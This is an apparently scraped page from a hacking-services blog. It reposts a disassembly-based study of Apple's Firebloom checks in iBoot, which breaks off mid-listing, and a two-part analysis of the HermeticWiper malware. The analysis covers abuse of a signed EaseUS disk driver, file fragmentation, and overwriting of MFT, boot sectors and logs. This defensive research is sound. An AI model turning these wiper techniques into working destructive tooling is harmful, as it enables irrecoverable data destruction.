Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863102300

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

簡介歡迎來到Firebloom iBoot系列文章的第二篇。在上一篇文章中，我們為讀者詳細介紹了Firebloom在iBoot中的實現方式，內存分配的表現形式，以及編譯器是如何使用它們的。現在，讓我們首先回顧一下用於描述內存分配的結構體：

00000000safe_allocationstruc;(sizeof=0x20,mappedto_1)

00000000raw_ptrDCQ?

00000008lower_bound_ptrDCQ?

00000010upper_bound_ptrDCQ?

00000018typeDCQ?

00000020safe_allocationends在上一篇文章中，我們重點介紹了Firebloom是如何使用lower_bound_ptr和upper_bound_ptr指針的，它們主要用於為內存空間提供安全保護，即防止任何形式的後向/前向越界訪問。在這篇文章中，我們將重點介紹type指針。

我們強烈建議讀者在閱讀這篇博文之前，首先閱讀我們的第一篇文章，以了解相關的背景知識。和上一篇文章一樣，我們的研究工作是在iBoot.d53g.RELEASE.im4p上進行的，對應於安裝了ios 14.4（18D52）系統的iPhone 12機器。

繼續我們的逆向之旅在之前的文章中，我們為讀者介紹過do_safe_allocation函數，其所用是封裝內存分配API並對safe_allocation結構體進行初始化，其中偏移量+0x18處的指針指向了一些描述類型信息的結構體。我們還通過一個例子表明，在使用分配的內存之前，系統會通過該指針進行相應的類型檢查。現在，是時候看看這種功能是如何工作的，以及這個type指針起到了那些作用。

我發現許多與type指針有關的邏輯（類型轉換、在安全分配的內存之間進行複制，等等），這些邏輯真的值得我們逆向研究一番。我想最好是從構件開始，然後逐級而上。

複製指針與內存為了幫助大家理解，我們決定從一些例子入手。為此，讓我們從panic_memcpy_bad_type開始進行逆向——它是do_firebloom_panic的11個交叉引用之一。

iBoot:00000001FC1AA818panic_memcpy_bad_type;CODEXREF:call_panic_memcpy_bad_type+3C↑p

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818var_20=-0x20

iBoot:00000001FC1AA818var_10=-0x10

iBoot:00000001FC1AA818var_s0=0

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818PACIBSP

iBoot:00000001FC1AA81CSTPX22,X21,[SP,#-0x10+var_20]!

iBoot:00000001FC1AA820STPX20,X19,[SP,#0x20+var_10]

iBoot:00000001FC1AA824STPX29,X30,[SP,#0x20+var_s0]

iBoot:00000001FC1AA828ADDX29,SP,#0x20

iBoot:00000001FC1AA82CMOVX19,X2

iBoot:00000001FC1AA830MOVX20,X1

iBoot:00000001FC1AA834MOVX21,X0

iBoot:00000001FC1AA838ADRPX8,#0x1FC2F2248@PAGE

iBoot:00000001FC1AA83CLDRX8,[X8,#0x1FC2F2248@PAGEOFF]

iBoot:00000001FC1AA840CBZX8,loc_1FC1AA848

iBoot:00000001FC1AA844BLRAAZX8

iBoot:00000001FC1AA848

iBoot:00000001FC1AA848loc_1FC1AA848;CODEXREF:panic_memcpy_bad_type+28↑j

iBoot:00000001FC1AA848ADRX0,aMemcpyBadType;'memcpy_bad_type'

iBoot:00000001FC1AA84CNOP

iBoot:00000001FC1AA850MOVX1,X21

iBoot:00000001FC1AA854MOVX2,X20

iBoot:00000001FC1AA858MOVX3,X19

iBoot:00000001FC1AA85CBLdo_firebloom_panic

iBoot:00000001FC1AA85C;Endoffunctionpanic_memcpy_bad_type我們將從最簡單的東西開始，即復制指針的操作。

在我之前的文章中，我特別指出：現在復制一個指針（即進行指針賦值）需要移動一個由4個64位值組成的元組。通常來說，我們可以將其視為是2個LDP與2個STP指令。現在，我們通過下面的函數來舉例說明：

iBoot:00000001FC15AD74move_safe_allocation_x20_to_x19;CODEXREF:sub_1FC15A7E0+78↑p

iBoot:00000001FC15AD74;wrap_memset_type_safe+68↑p.

iBoot:00000001FC15AD74LDPX8,X9,[X20]

iBoot:00000001FC15AD78LDPX10,X11,[X20,#0x10]

iBoot:00000001FC15AD7CSTPX10,X11,[X19,#0x10]

iBoot:00000001FC15AD80STPX8,X9,[X19]

iBoot:00000001FC15AD84RET

iBoot:00000001FC15AD84;Endoffunctionmove_safe_allocation_x20_to_x19如今，這種由2個LDP指令和2個STP指令組成的模式，在iBoot中是非常常見的（這是很正常的，因為指針賦值經常發生），所以，我們會在許多地方看到這樣的內聯代碼。雖然這對於指針賦值很有用，但在許多情況下，我們想要做的卻是複制內容——例如，調用memcpy的時候。因此，有趣的事情就出現了：是否應該允許在兩個“safe_allocations”內存之間調用memcpy？

理論上，我們可以執行下面的代碼：

memcpy(dst-raw_ptr,src-raw_ptr,length);但是，請記住，每段safe_allocation內存都具有相應的type指針，該指針指向某個結構體，以便提供與當前處理的類型有關的更多信息。這些信息可以用於進一步的檢查和驗證。例如，我們希望看到一些邏輯來檢查dst和src的類型是否為基本類型（即這些類型不包含對其他結構體、嵌套結構體等結構體的引用，如short/int/float/double/等類型，就是屬於基本類型）。

這很重要，因為如果src或dst是非基本類型，我們就需要確保只有在它們的類型在某種程度上相等時才將src複製到dst。或者，type實際上保存了更多與結構體有關的元數據，因此需要確保更多的安全屬性。

因此，我想了解一下Firebloom是如何描述基本類型的。在對類型轉換功能，以及其他功能代碼進行逆向分析之後，我終於搞清楚了這一點。有趣的是，分析過程再簡單不過了——我們在函數cast_impl中找到了很多有用的字符串。例如：

aCannotCastPrimDCB'Cannotcastprimitivetypetonon-primitivetype',0借助於交叉引用，我們在下面的代碼中發現，X21寄存器就是來自safe_allocation內存的type指針：

iBoot:00000001FC1A0CF8;X21isthetypepointer

iBoot:00000001FC1A0CF8LDRX11,[X21]

iBoot:00000001FC1A0CFCANDX11,X11,#0xFFFFFFFFFFFFFFF8

iBoot:00000001FC1A0D00LDRBW12,[X11]

iBoot:00000001FC1A0D04TSTW12,#7

iBoot:00000001FC1A0D08;oneofthe3LSBbitsisnot0,non-primitivetype

iBoot:00000001FC1A0D08B.NEcannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0D0CLDRX11,[X11,#0x20]

iBoot:00000001FC1A0D10LSRX11,X11,#0x23;'#'

iBoot:00000001FC1A0D14CBNZX11,cannot_cast_primitive_to_non_primitive_type

.

iBoot:00000001FC1A0E70cannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0E70;CODEXREF:cast_impl+478↑j

iBoot:00000001FC1A0E70;cast_impl+484↑j

iBoot:00000001FC1A0E70ADRX11,aCannotCastPrim;'Cannotcastprimitivetypetonon-primi'.好了，現在我們知道Firebloom是如何標記和測試基本類型的了。這段代碼只是將一種類型轉換為另一種類型的功能實現中的一小部分，特別是這裡的X21寄存器是我們要轉換為的safe_allocation結構體中的type指針。在進行類型轉換時，我們驗證要轉換的類型是基本類型；同時，還要驗證轉換後的目標類型也是基本類型（否則就會出現panic）。

為了完成這項檢查，代碼會對type指針進行解引用，進而得到另一個指針（我們稱之為type_descriptor)。然後，將其最低的3個二進制位屏蔽掉（它們可能對應於一個編碼，這就是所有用到該指針的地方都會在解除其引用之前都屏蔽它的原因），然後對該指針解除引用。

現在，如果以下兩個屬性都滿足要求，那麼，該類型被認為是“基本類型”：

第一個qword的低3位都為0。

在偏移量0x20處存儲的值的高29位都為0。

太好了，我們剛剛了解了基本類型是如何表示的。在本文的後面部分，我們將詳細介紹這些值的具體含義。

有了這些知識，我們就可以著手了解Firebloom到底是如何在iBoot中封裝memset和memcpy函數的了。現在，讓我們從memset函數開始：

iBoot:00000001FC15A99Cwrap_memset_safe_allocation;CODEXREF:sub_1FC04E5D0+124↑p

iBoot:00000001FC15A99C;sub_1FC04ED68+8↑j.

iBoot:00000001FC15A99C

iBoot:00000001FC15A99Cvar_30=-0x30

iBoot:00000001FC15A99Cvar_20=-0x20

iBoot:00000001FC15A99Cvar_10=-0x10

iBoot:00000001FC15A99Cvar_s0=0

iBoot:00000001FC15A99C

iBoot:00000001FC15A99CPACIBSP

iBoot:00000001FC15A9A0SUBSP,SP,#0x60

iBoot:00000001FC15A9A4STPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15A9A8STPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15A9ACSTPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15A9B0STPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15A9B4ADDX29,SP,#0x50

iBoot:00000001FC15A9B8;void*memset(void*s,intc,size_tn);

iBoot:00000001FC15A9B8;X0-dst(s)

iBoot:00000001FC15A9B8;X1-char(c)

iBoot:00000001FC15A9B8;X2-length(n)

iBoot:00000001FC15A9B8MOVX21,X2

iBoot:00000001FC15A9BCMOVX22,X1

iBoot:00000001FC15A9C0MOVX20,X0

iBoot:00000001FC15A9C4MOVX19,X8

iBoot:00000001FC15A9C8;verifyupper_bound-raw_ptr=x2(length)

iBoot:00000001FC15A9C8BLcheck_ptr_bounds

iBoot:00000001FC15A9CCLDRX23,[X20,#safe_allocation.type]

iBoot:00000001FC15A9D0MOVX0,X23

iBoot:00000001FC15A9D4;checkifdstisaprimitivetype

iBoot:00000001FC15A9D4BLis_primitive_type

iBoot:00000001FC15A9D8TBNZW0,#0,call_memset

iBoot:00000001FC15A9DCCBNZW22,detected_memset_bad_type

iBoot:00000001FC15A9E0MOVX0,X23

iBoot:00000001FC15A9E4BLget_type_length

iBoot:00000001FC15A9E8;divideandmultiplythelengthargument

iBoot:00000001FC15A9E8;bythetype'ssize,todetect

iBoot:00000001FC15A9E8;partial/unalignmentwrites

iBoot:00000001FC15A9E8UDIVX8,X21,X0

iBoot:00000001FC15A9ECMSUBX8,X8,X0,X21

iBoot:00000001FC15A9F0CBNZX8,detected_memset_bad_n

iBoot:00000001FC15A9F4

iBoot:00000001FC15A9F4call_memset;CODEXREF:wrap_memset_safe_allocation+3C↑j

iBoot:00000001FC15A9F4LDRX0,[X20,#safe_allocation]

iBoot:00000001FC15A9F8MOVX1,X22

iBoot:00000001FC15A9FCMOVX2,X21

iBoot:00000001FC15AA00BL_memset

iBoot:00000001FC15AA04BLmove_safe_allocation_x20_to_x19

iBoot:00000001FC15AA08LDPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15AA0CLDPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15AA10LDPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15AA14LDPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15AA18ADDSP,SP,#0x60;'`'

iBoot:00000001FC15AA1CRETAB

iBoot:00000001FC15AA20;---------------------------------------------------------------------------

iBoot:00000001FC15AA20

iBoot:00000001FC15AA20detected_memset_bad_type;CODEXREF:wrap_memset_safe_allocation+40↑j

iBoot:00000001FC15AA20BLcall_panic_memset_bad_type

iBoot:00000001FC15AA24;---------------------------------------------------------------------------

iBoot:00000001FC15AA24

iBoot:00000001FC15AA24detected_memset_bad_n;CODEXREF:wrap_memset_safe_allocation+54↑j

iBoot:00000001FC15AA24BL

HireHackking

這是本系列文章中的下篇，我們將繼續與讀者一道，深入分析數據擦除型的惡意軟件HermeticWiper。

（接上文）

禁用影子副本刪除影子副本是勒索軟件的一個常見行為。它應該是為了破壞系統備份，並使恢復工作陷入癱瘓。就本例來說，我們可以看到該樣本禁用了影子副本服務。

1.png

影子副本被禁用

數據碎片化在我們的分析過程中，我們注意到惡意軟件會將磁盤上的文件碎片化（與碎片整理相反）。

在運行碎片化例程之前，它會更改與資源管理器相關的一些設置：

1.png

更改註冊表，使發現NTFS操作更加困難

這可能是為了隱藏關於文件狀態的信息，使得它們更加難以被發現：

下面的函數顯示了碎片化例程的執行過程：

1.png

用於實現數據碎片化的包裝器函數

其中，標準windows目錄被排除在外：

1.png

將被跳過的文件夾列表

這樣做既可以節省時間（不破壞標准文件），又可以避免影響系統穩定性。

文件碎片化過程如下所示：

1.png

碎片詳細信息（1）

1.png

碎片詳細信息（2）

數據碎片化算法的實現，是通過將不同的IOCTL_CODES（FSCTL）用作FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_GET_MOVE_FILES來實現的。該代碼看起來與碎片整理代碼非常相似。但就這裡來說，修改的目的是為了實現碎片化，即將文件塊分割為碎片，並將其移動到磁盤中的空閒簇中。

數據收集在這些準備工作完成之後，該惡意軟件就會進入執行的第二個階段：數據收集。在各種勒索軟件案例中，我們經常會看到這種情況：在加密之前，惡意軟件會遍歷目錄，並列出要攻擊的文件清單。該惡意軟件的情況與此類似，但更有趣的是，因為該軟件在進行目錄遍歷的時候，使用的不是windows API，而是NTFS文件系統，來讀取各種結構體並手動解析它們。為此，該惡意軟件需要通過標準的Windows設備來發送IOCTL（新安裝的驅動程序尚未使用）。

數據存儲上述解析過程的結果被存儲在我們設法重建的自定義結構體中，其定義如下所示：

structelemStr

{

elemStr*fLink;

elemStr*bLink;

chunkStr*chunkPtr;

DWORDdiskNumber;

BYTE*randomBufToWrite;

DWORDsizeBuffer;

};

structchunkStr

{

chunkStr*fLink;

chunkStr*bLink;

LARGE_INTEGERoffset;

QWORDchunk_size;

};就像您看到的那樣，它們都是鍊錶。

第一個elemStr定義了將被覆蓋的元素。之後，代碼會檢索其大小，並生成專用於覆蓋它的隨機緩衝區：

1.png

生成的隨機數據

在這裡，“chunk”表示要覆蓋的物理地址的連續塊。

因此，一般來說，惡意軟件將在後面的兩個步驟中用到這些結構體。第一步是收集所有數據。第二步是使用前面創建的結構體來擦除數據。

收集相關元素正如之前所看到的，這些結構體將被發送給執行數據破壞的函數。以下是以後需要銷毀的元素。

惡意軟件自身的可執行文件和植入的驅動程序我們已經看到，攻擊者對清理自己的踪跡很感興趣。為了達到這個目的，他們會從磁盤上刪除自己的可執行文件，即使二進製文件本身一直在運行並在內存中。正如HermeticWiper在文件系統中執行的任何其他任務一樣，刪除自己的二進製文件的方式與其他惡意軟件略有不同。攻擊者首先設法找到二進製文件在原始文件中的偏移量，最後，他們將覆蓋這個特定的偏移量。

1.png

HermeticWiper文件將被銷毀，同時被銷毀的還有其他元素

被植入的文件（壓縮和未壓縮的驅動程序）將被添加到同一結構體中，該動作是在在安裝之後完成的。

引導扇區攻擊者的目的之一，就是使設備無法加載操作系統。接下來的第一步，就是枚舉所有物理設備以及分區。為此，他們使用循環語句來嘗試打開harddisk[num]的句柄，其中num將從0迭代到100：

1.png

這個循環語句展示了攻擊者是如何從HardDisk0迭代到HardDisk100的

然後，所有這些信息都被存儲到一個elemStr結構體中，該結構體包含作為磁盤號的數據。在本例中，chunkElement將描述引導扇區的原始地址。在這裡，需要特別關註一下C:\System Volume Information。另外，攻擊者將在boot_sections結構體中添加以下文件夾內容：

1.png

對parse_NTFS_AND_execute_callback函數的調用

根據Microsoft的說法，“Mount Manager維護每個NTFS卷上的Mount Manager遠程數據庫，其中Mount Manager記錄了為該卷定義的任何掛載點。數據庫文件駐留在“NTFS卷上的目錄系統卷信息”（詳見“Windows Internals, 6th edition”）中。所以，這個技術也是為了提高破壞能力而創造的。最後，利用EasyUS驅動程序，所有這些收集到的偏移量都將像惡意二進製文件一樣被覆蓋掉。

保留扇區與MFT和以前一樣，惡意軟件將再次對物理驅動器ID進行暴力破解，以找到有效的驅動器ID。然後，它會使用IOCTL_DISK_GET_DRIVE_LAYOUT_EX檢索有關驅動器上所有主分區的信息，並從相應分區讀取第一個扇區。接著，通過ioctl_disk_get_drive_geometry_ex來獲取讀取磁盤的第一個扇區所需的其他信息。

1.png

檢索每個磁盤的相關信息

一旦讀取了分區的第一個扇區，該軟件就會在該扇區上調用惡意軟件傳遞的回調函數。

1.png

之後，它會根據文件系統的類型進行相應的處理：如果是FAT類型，那麼它會擦除所有保留扇區，而FAT文件系統中的引導記錄扇區是保留扇區的一部分；如果是NTFS類型，該惡意軟件就會清除磁盤上存在的MFT和MFTMirror（備份MFT)，其目的是使數據恢復更加困難。

1.png

用於處理FAT文件系統的例程

1.png

用於處理NTFS文件系統的例程

NTFS卷上的每個文件都是由名為主文件表(MFT)的特殊文件中的記錄來表示的。在MFT被破壞的情況下，則可以通過讀取MFT鏡像來恢復原始MFT，其第一記錄與MFT的第一記錄相同。 MFT表為文件系統提供了相應的索引，並提供了文件駐留位置等信息。如果沒有MFT，系統將無法知道有哪些文件夾和文件，以及修改日期等信息。

Bitmap和日誌文件為了阻止數據被恢復，惡意軟件還經常會覆蓋所有邏輯驅動器上的Bitmap和日誌文件。就本例來說，邏輯驅動器是通過GetLogicalDriveStringsW進行檢索的。另外，這些結構體在進行數據恢復和取證調查時也很重要。實際上，$bitmap保存了空閒簇和已用簇的相關信息，而$logfile則保存了文件系統中發生的事務日誌。

1.png

此外，用戶文件也會受到數據破壞的影響。我們發現該惡意軟件還會覆蓋C:/Documents and settings文件夾中的所有內容。在現代Windows系統中，該文件夾將指向C:/Users。這個文件夾存放的是用戶的數據文件夾（例如，我的文檔或桌面）。在這個過程中，有些文件會被跳過，比如APPDATA下的文件，但一般來說，這些文件夾下的所有文件都會被覆蓋。

收集需要擦除的簇數據收集的最後一步，就是獲取清除磁盤上所有已佔用的簇所需的信息。為了獲取這些信息，惡意軟件使用了FSCTL_GET_VOLUME_BITMAP IOCTL來獲取磁盤上所有已佔用和空閒簇的相關信息。該惡意軟件會遍歷所有的邏輯磁盤，並使用FSCTL_GET_VOLUME_BITMAP檢索bitmap，而bitmap中的每一位表示一個簇，值1表示該簇已被佔用，0表示該簇處於空閒狀態。對於通過IOCTL檢索到的bitmap，該惡意軟件將對其進行逐位遍歷，然後，將所有已經佔用的簇添加到前文描述的擦除結構體中。這裡要注意的一點是，該惡意軟件匯集了所有相鄰的簇，而這些相鄰的簇是由單個chunk結構表示的——這一點與之前的表示方法不同，那時用一個chunk結構表示單個簇。

1.png

最後，所有已佔用的簇將被收集到一個elemStr類型的結構體中，以便銷毀。

這一切是如何進行的？到目前為止，我們已經知道一些NTFS屬性（如屬性、索引等）是用來收集數據的，之後這些數據將被銷毀。接下來，我們將展示一個例子，說明攻擊者是如何實現這一功能的，並展示其複雜程度。

為此，我們將以負責收集Windows日誌文件的代碼為例進行介紹：

1.png

負責收集Windows日誌文件的代碼

在調用上述代碼之後，會填充一些數據結構，其中包含有關物理磁盤屬性和文件夾名稱本身的數據。我們對NTFS文件系統的第一次引用是在檢索HANDLE的過程中發現的。這個文件夾是作為NTFS流打開的：

1.png

用於默認目錄流的HANDLE

其中，第一個調用將解析$INDEX_ROOT屬性，其功能與第二個調用相對類似，也更簡單，在第二個調用中使用了$INDEX_ALLOCATION屬性。關於這些NTFS屬性的其他信息可以在這裡找到。我們將假設元素列表足夠長，比如$INDEX_ALLOCATION，我們將深入考察這個調用：

1.png

相關的回調函數

為了更好地理解整個過程，我們需要記住發送的參數。其中，前面的兩個參數（nFileIndexLow和nFileIndexHigh）用於調用函數FSCTL_GET_NTFS_FILE_RECORD，它將檢索到一條NTFS記錄。在進行一些檢查之後（例如，檢查magic值），我們將調用一個名為callback_when_attribute_is_found的函數。注意，發送給這個函數的第一個參數將是之前發送的值$INDEX_ALLOCATION（0x20）。

1.png

調用callback_when_attribute_is_found函數

這個函數將遍歷作為記錄一部分的所有NTFS屬性。為此，代碼必須找到第一個屬性的偏移量。這個偏移量的長度只有2個字，因為這個偏移是相對於結構體而言的。 NTFS記錄頭部的佈局如下所示：

1.png

NTFS記錄頭部的佈局

一個NTFS文件記錄的結構如下所示：

記錄頭部

屬性

屬性

屬性NTFS記錄的佈局

如果我們還記得$INDEX_ALLOCATION（0x20），事情就很容易理解了。這些屬性將以一個特定的TypeCode開始，就像$INDEX_ALLOCATION那樣。因此，如果其中一個屬性與所需的選定類型相匹配，第一個回調函數將被觸發。

1.png

用於匹配屬性和回調函數的代碼

如果沒有匹配的TypeCode，但發現了$ATTRIBUTE_LIST，則將意味著存在更多的屬性，但這些屬性不適合$MFT表。在這種罕見的情況下，該惡意軟件將繼續處理這些額外的屬性，並將遞歸地調用第一個函數。

讓我們看看這個回調函數會做些什麼。記住，這個回調函數，在我們的案例中是indexAllocation_Callback_CollectAllfiles。第一步，是恢復這個屬性所指向的流。由於$INDEX_ALLOCATION是一個用於目錄的屬性，所以這個流可以是一個索引數組（塊索引）：

1.png

使用原始磁盤偏移量恢復的塊索引數組

由於這是一個索引數組，這些索引將指向某個東西。正如你所想像的，這個東西就是NTFS記錄。在原始磁盤中，這些類型的索引看起來如下所示：

1.png

在原始磁盤鏡像文件中發現的索引塊的例子

由於索引指向記錄，因此，所有這些記錄將被遞歸地發送到初始函數。但是這一次的回調函數將是不同的，類型碼也是不同的：

1.png

調用$DATA回調函數

所以這一次，每條發送的記錄都會有不同的表現：將尋找$DATA屬性，而不是$INDEX_ALLOCATION（$DATA包含文件數據）。另外，執行的回調函數將是不同的（現在命名為dataExecuting）。通過使用第一次調用中發送的磁盤屬性，結合從索引中收集的信息，這個回調函數將定位文件在磁盤中的確切位置。最後，這些文件就像我們在本報告中總結的所有文件一樣，被作為成員加入到elemStr*結構體中。如上所述，該結構體中包含的偏移量處的內容，將在最後的步驟中被惡意軟件所覆蓋。

1.png

調用函數，將文件的偏移量添加到elemStr類型的結構體中，以便以後銷毀數據

覆蓋數據最後，在收集完所有數據後，惡意軟件就開始執行覆蓋操作。為此，它會將elemStr結構體傳遞給該函數，以處理鍊錶上的所有元素：

1.png

to_overwrite_collected_sections函數

執行覆蓋操作的函數首先通過前面安裝的驅動程序來獲得對扇區的寫訪問權。然後，它會打開設備，通過偏移量遍歷收集的所有chunk，並使用WriteFile來填充先前準備好的隨機數據。

1.png

數據銷毀的代碼

下面的示例顯示了我們實驗中的一個日誌片段，當我們在惡意軟件執行期間轉儲特定結構體的內容時：首先收集數據，然後使用填充了隨機值的結構體來清除磁盤上的扇區：

1.png

小結如你所見，通過利用合法且無漏洞的簽名代碼，攻擊者就能夠繞過許多Windows安全機制。這會帶來非常嚴重的問題，因為出於安全考慮，用戶應用程序不應該在內核空間擁有這種程度的控制權限。

另外，我們想說明的是，這種情況下的數據恢復是非常困難的。攻擊者首先將文件碎片化，並將其散佈到磁盤各處，最後，用隨機數據覆蓋所有這些碎片。即使沒有最後一步（不分青紅皂白地向磁盤填充垃圾數據），只是進行碎片化並擦除所需結構體（如$MFT）的話，要想恢復如初也幾乎是不可能的。

需要注意的是，該惡意軟件為了隱藏自身的踪跡，還會設法破壞$LogFile和Windows事件等相關文件。

HireHackking

上個月的時候，人們新發現了一個數據擦除型惡意軟件，它被命名為“HermeticWiper”，因為其數字證書是盜取自一家名為Hermetica Digital Ltd的公司。這個擦除器的顯著特點是能夠繞過Windows的安全功能，並獲得對磁盤上許多低級數據結構的寫入權限。此外，攻擊者還想把磁盤上的文件分割成碎片並覆蓋它們，使其無法恢復。

在我們分析這個數據擦除器的時候，其他的研究報告也陸續發布，詳細說明了這個攻擊活動中使用的其他組件，包括一個蠕蟲和典型的勒索軟件，幸好該軟件的實現質量不高，很容易進行解密。

在本文中，我們將針對目前已經獲取的惡意樣本，對其進行深入的考察分析。

行為分析首先，我們看到的是一個32位Windows可執行文件，其圖標類似於一個禮物。實際上，這並不是攻擊者的冷笑話，而只是Visual Studio GUI項目的一個標準圖標。

1.png

HermeticWiper使用的圖標

這款惡意軟件必須以管理員身份運行才能工作，而且沒有提供任何UAC繞過技術。稍後我們會發現，這個樣本的名稱也會（稍微）影響其功能；如果名稱以“c ”開頭（或以“C”開頭，因為它被自動轉換為小寫），那麼，系統在執行後將重新啟動。

一旦運行，該樣本就會在後台悄悄地“工作”。如果不借助其他工具的話，我們很難發現任何可疑的東西。

只有當我們使用像Process Explorer這樣的工具觀察這個樣本時，我們才能注意到一些不尋常的行為——它會調用各種IOCTL，並且都與檢索磁盤的細節有關。

1.png

通過ProcessMonitor觀察HermeticWiper時，發現其執行的動作

……其中包括FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_MOVE_FILE，這些貌似都與文件的碎片整理有關。請注意，在文件系統中，文件有時並不是保存在一個連續的塊中（就像我們在高級別的文件中看到的那樣），而是分佈在磁盤的各個扇區中的多個塊中。碎片整理與合併這些塊有關，而碎片化則與分割這些塊有關。

1.png

然而，進一步的研究表明，這裡的效果與碎片整理相反。事實上，由於惡意軟件的緣故，數據變得更加碎片化。

在惡意軟件執行前後，有關數據碎片的磁盤狀態如下圖所示：

1.png

執行前的磁盤狀態

1.png

執行後的磁盤狀態

這樣做可能是為了提高損壞程度：文件碎片越多，從原始磁盤映像中分割出來並進行取證重建的難度就就越大。

隨著惡意軟件的執行，在某些時候，我們可能會發現一些應用程序將無法正常工作。這是因為某些文件（包括系統DLL）已被隨機數據所覆蓋。

示例：由於系統DLL被破壞，導致應用程序無法運行：

1.png

HermeticWiper導致的軟件故障

如果我們現在查看磁盤的原始映像（比如使用HxD），我們就會發現某些扇區已經被隨機數據覆蓋了：

1.png

通過HxD檢查被HermeticWiper覆蓋的扇區

毫無疑問，重啟後，我們的Windows操作系統將無法正常工作：

1.png

重新啟動受損系統後，用戶看到的出錯消息

那麼，這個惡意軟件在背後到底搞了什麼鬼呢？讓我們仔細看看……

使用的組件初始樣本：1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591——在其資源中包含多個PE文件：

1.png

惡意軟件的資源部分

為資源選擇的名稱（DRV_X64、DRV_X86、DRV_XP_X86、DRV_XP_X64）表明：它們是同一驅動程序，並且為不同的Windows系統提供了相應的版本：適用於32位或64位系統的版本，或適用於Windows XP的舊版本。同時，它們都採用了壓縮形式。通過Linux系統的file命令檢查轉儲文件，我們可以看到以下輸出：

file DRV_XP_X86

DRV_XP_X86: MS Compress archive data, SZDD variant, original size: 13896 bytes

為了弄清楚它們是如何加載的，我們需要研究一下攜帶它們的樣本。

幸運的是，該樣本並沒有進行混淆處理，所以，我們可以輕鬆找到負責查找適當版本的驅動程序的代碼片段：

1.png

HermeticWiper中選擇加載哪個驅動程序的代碼片段

然後，讓我們通過LZMA算法對緩衝區進行解壓縮處理：

1.png

負責用LZMA算法解壓縮驅動程序並進行安裝的代碼片段

實際上，當前流行的解壓縮工具（比如7Zip）都支持這種壓縮格式。我們也可以根據惡意軟件代碼製作自己的解壓縮工具（詳見：https://gist.github.com/hasherezade/2c7837874f7adf0f73192f4d861d83c6）。

結果，我們從EaseUS Partition Master中得到了4種版本的合法驅動程序——這一點與ESET（https://twitter.com/ESETresearch/status/1496581912940396551?s=20t=wAz5sfT7pTIN-F0aqFaXTg）所報告的完全相符。

2c7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe80c850ded44de43bdb666d

23ef301ddba39bb00f0819d2061c9c14d17dc30f780a945920a51bc3ba0198a4

8c614cf476f871274aa06153224e8f7354bf5e23e6853358591bf35a381fb75b

96b77284744f8761c4f2558388e0aee2140618b484ff53fa8b222b340d2a9c84

從PE頭部中的時間戳來看，這個驅動程序是很久以前構建的。據我們推測，這些驅動程序很可能是被攻擊者從原始的合法軟件包中竊取的。並且，它們中的每一個都帶有一個調試目錄，其中包括一個PDB路徑，例如：

1.png

驅動程序概述HermeticWiper使用的驅動程序來自EaseUS套件，而EaseUS則是一個合法的軟件，為用戶提供了多種磁盤管理功能，如分區和大小調整。如前所述，該工具是合法的，因此，在攻擊發生時，無法通過VirusTotal檢測到該樣本：

1.png

VirusTotal沒有檢測出該樣本

查看驅動程序內部代碼，我們發現它只是提供了許多典型的驅動功能：創建所需的設備，並建立一些分派例程，如下圖所示：

1.png

DriverEntry例程

這個驅動程序的內部結構非常簡單。為了從用戶模式訪問驅動程序，我們需要使用CreateFile API函數，並安裝驅動程序的設備名(\\.\epmntdrv)以及分區ID。具體示例如下所示：

1.png

用戶模式組件，生成用於打開設備句柄的字符串

注意，這個字符串對於理解驅動程序的功能非常重要。如您所見，驅動程序的代碼會把發送的字符串從用戶模式轉換為整數，並將該整數用作helper函數“savereferenceharddisk”的輸入。由於可以從映像中提取，所以，這個helper函數將在FsContext屬性中保存對物理磁盤(\device\harddisk[num]\partition0)的引用：

1.png

IRP_MJ_CREATE函數

1.png

helper函數

這種行為也可以進行實時測試。我們可以看到，在將這個值轉換為整數類型之前，代碼是如何刪除前導反斜杠的：

1.png

通過內核模式實時調試會話考察參數處理過程

此外，IRP_MJ_CREATE函數會在FsContext2屬性中保存硬盤的設備對象指針，該指針將通過helper函數getDeviceObject返回。函數getDeviceObject中的DeviceObject指針，用於查找IRP_MJ_CREATE函數保存在FsContext2屬性中的硬盤的設備對象指針（該指針是通過helper函數getDeviceObject返回的）。而getDeviceObject中的DeviceObject指針，則用於通過IoGetLowerDeviceObject函數遍歷最底層的設備對象來查找disk.sys關聯的設備對象。為了確認底層設備對象就是我們正在尋找的對象，我們檢查對象的ServiceKeyName是否為'Disk'：因為disk.sys對象的ServiceKeyName正是“Disk”。這些對象將在稍後的讀寫操作中用到。這意味著，當從用戶模式向驅動程序請求不同的操作時，實際操作將在機器物理磁盤上進行。

1.png

關於getDiskDeviceObject函數

接下來的圖片顯示了驅動程序如何建立傳入的請求並將其轉發到下級設備：

1.png

EaseUS驅動處理IOCTL請求的例子

1.png

EaseUS驅動處理讀操作的例子

1.png

EaseUS驅動處理IOCTL寫操作的例子

通過使用從用戶模式執行的CreateFile操作所保存的FsContext2字段，可以將這個驅動程序看作是一個代理驅動程序，其中IRP由底層設備處理。簡而言之，這個合法的驅動程序可以讓攻擊者繞過一些windows的安全機制，而這些機制能夠阻止他們在用戶模式下執行某些操作，如禁止對磁盤的某些扇區進行寫操作等。

數據擦除器的具體實現這個惡意軟件旨在最大限度地破壞系統。它不僅會覆蓋MBR，而且更進一步：遍歷文件系統的相關結構體並加以破壞，甚至直接破壞單個文件。

我們知道，這個可執行文件將以某種方式濫用這些驅動程序來實現數據破壞功能。然而，問題來了，它到底是如何實現的呢？

